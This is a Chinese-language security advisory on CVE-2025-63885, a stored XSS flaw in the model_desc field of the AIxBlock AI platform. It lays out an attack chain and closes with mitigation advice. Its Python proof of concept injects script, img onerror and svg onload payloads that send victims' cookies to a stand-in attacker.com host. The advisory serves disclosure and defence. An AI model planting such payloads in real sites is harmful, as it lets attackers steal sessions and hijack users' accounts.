IPBUF安全漏洞报告
English
CVE-2025-63885 CVSS 6.1 中危

CVE-2025-63885: AIxBlock model_desc字段存储型XSS漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2025-63885
漏洞类型
存储型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AIxBlock

相关标签

存储型XSSAIxBlockCVE-2025-63885跨站脚本Web安全模型描述字段注入AI开发平台

漏洞概述

CVE-2025-63885是AIxBlock项目中发现的存储型跨站脚本(Stored XSS)漏洞,CVSS评分6.1,属于中危级别。该漏洞存在于AIxBlock的commit 04f305版本中,攻击者可以通过在model_desc字段中注入精心构造的恶意脚本实现持久化的XSS攻击。存储型XSS相比反射型XSS更为危险,因为恶意代码会被永久存储在服务器端,所有访问该数据的用户都会受到攻击影响。攻击者利用此漏洞可以窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或植入恶意软件。AIxBlock作为AI开发平台,其model_desc字段通常用于描述AI模型的功能和用途,攻击者利用用户对此字段的信任,注入恶意JavaScript代码,当其他用户查看模型信息时自动执行。由于该漏洞无需特殊权限即可利用,且影响范围覆盖所有访问受影响模型信息的用户,因此具有较高的实际威胁性。建议相关用户及时关注官方补丁更新,并在修复前采取临时防护措施。

技术细节

该漏洞的根本原因在于AIxBlock应用程序对model_desc用户输入字段缺乏充分的输入验证和输出编码处理。攻击者可以在提交模型描述时注入包含JavaScript代码的payload,例如:<script>alert(document.cookie)</script>或<img src=x onerror=恶意代码>。由于应用程序未对特殊字符进行HTML实体编码(如将<编码为&lt;,>编码为&gt;),恶意脚本被直接存储在数据库中。当其他用户通过Web界面浏览模型信息时,服务器将未经处理的恶意内容直接返回给客户端浏览器,浏览器将其解析为可执行脚本并执行。攻击者可以利用此漏洞执行任意JavaScript代码,包括但不限于:读取用户Cookie并发送到攻击者控制的服务器、修改页面内容进行钓鱼、诱导用户执行其他操作、甚至结合其他漏洞进一步提升攻击权限。由于model_desc字段通常在模型详情页、项目列表等位置展示,攻击面较广,危害性显著。修复此漏洞需要在数据入库前进行严格的输入过滤,并在数据输出时进行正确的HTML编码。

攻击链分析

STEP 1
步骤1: 侦察与信息收集
攻击者访问AIxBlock平台,了解model_desc字段的输入点和展示位置,确定漏洞触发点
STEP 2
步骤2: 构造恶意Payload
攻击者构造XSS恶意载荷,如<script>alert(document.cookie)</script>或<img src=x onerror=fetch(...)>等
STEP 3
步骤3: 注入恶意代码
攻击者在创建或更新模型时,将恶意脚本注入到model_desc字段,由于缺乏输入验证,payload被直接存储到数据库
STEP 4
步骤4: 持久化存储
恶意payload作为正常数据永久保存在数据库中,不良数据不会自动清除
STEP 5
步骤5: 等待受害者访问
当其他用户(受害者)浏览模型详情页、项目列表或其他展示model_desc的位置时触发
STEP 6
步骤6: XSS执行与攻击完成
服务器将未经HTML编码的恶意内容返回给受害者浏览器,浏览器解析执行注入的JavaScript代码,攻击者可窃取Cookie、劫持会话或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-63885 PoC - AIxBlock Stored XSS in model_desc field # Target: AIxBlock application # Vulnerability: Stored XSS via model_desc field TARGET_URL = "http://target-aiplatform.com" # XSS payload - Cookie stealing example xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Alternative payloads # xss_payload = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">' # xss_payload = '<svg/onload=fetch("https://attacker.com/log?c="+btoa(document.cookie))>' def exploit_stored_xss(): """ Exploit stored XSS in model_desc field of AIxBlock Steps: 1. Create or update a model with malicious model_desc 2. Wait for victim to view the model page 3. XSS payload executes in victim's browser """ # Step 1: Inject XSS payload into model_desc field model_data = { "name": "Malicious Model", "model_desc": xss_payload, # Injected XSS payload "version": "1.0" } # API endpoint to create/update model (may require authentication) api_endpoint = f"{TARGET_URL}/api/models" try: response = requests.post(api_endpoint, json=model_data) if response.status_code == 200 or response.status_code == 201: print("[+] XSS payload injected successfully!") print(f"[+] Model ID: {response.json().get('id')}") print(f"[+] Payload stored in model_desc field") print("[+] Any user viewing this model will trigger the XSS") else: print(f"[-] Failed to inject payload: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-63885 PoC - AIxBlock Stored XSS") print("=" * 50) exploit_stored_xss()

影响范围

AIxBlock commit 04f3051187b884973beb42316489e3fb37116fdf

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 临时禁用model_desc字段的编辑功能或限制可信用户才能修改;2) 在Web应用前端增加JavaScript-based的输入过滤和编码;3) 部署WAF规则拦截常见的XSS攻击模式;4) 加强对模型详情页的监控,及时发现异常行为;5) 对管理员和开发人员进行安全意识培训,强调用户输入不可信原则;6) 考虑使用HTML净化库(如DOMPurify)在前端和后端双重过滤用户输入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表